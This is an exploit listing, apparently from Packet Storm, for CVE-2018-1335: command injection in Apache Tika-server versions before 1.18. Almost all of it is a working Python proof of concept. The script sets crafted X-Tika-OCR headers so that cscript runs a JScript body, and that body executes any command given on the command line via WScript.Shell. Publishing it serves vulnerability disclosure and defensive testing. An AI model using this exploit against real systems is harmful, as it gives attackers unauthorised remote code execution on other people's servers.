Lucene search

K
packetstormDavid YeslandPACKETSTORM:152076
HistoryMar 13, 2019 - 12:00 a.m.

Apache Tika Server Command Injection

2019-03-1300:00:00
David Yesland
packetstormsecurity.com
46

0.967 High

EPSS

Percentile

99.6%

`######################################################################################################  
#Description: This is a PoC for remote command execution in Apache Tika-server. #  
#Versions Affected: Tika-server versions < 1.18 #   
#Researcher: David Yesland Twitter: @Daveysec #  
#Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ # #   
#NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335 #  
######################################################################################################  
  
import sys  
import requests  
  
if len(sys.argv) < 4:  
print "Usage: python CVE-2018-1335.py <host> <port> <command>"  
print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"  
else:  
host = sys.argv[1]  
port = sys.argv[2]  
cmd = sys.argv[3]  
  
url = host+":"+str(port)+"/meta"  
  
headers = {"X-Tika-OCRTesseractPath": "\"cscript\"",   
"X-Tika-OCRLanguage": "//E:Jscript",   
"Expect": "100-continue",   
"Content-type": "image/jp2",   
"Connection": "close"}  
  
jscript='''var oShell = WScript.CreateObject("WScript.Shell");  
var oExec = oShell.Exec('cmd /c {}');  
'''.format(cmd)  
  
try:  
requests.put("https://"+url, headers=headers, data=jscript, verify=False)  
  
except:  
try:  
requests.put("http://"+url, headers=headers, data=jscript)  
except:  
print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"  
`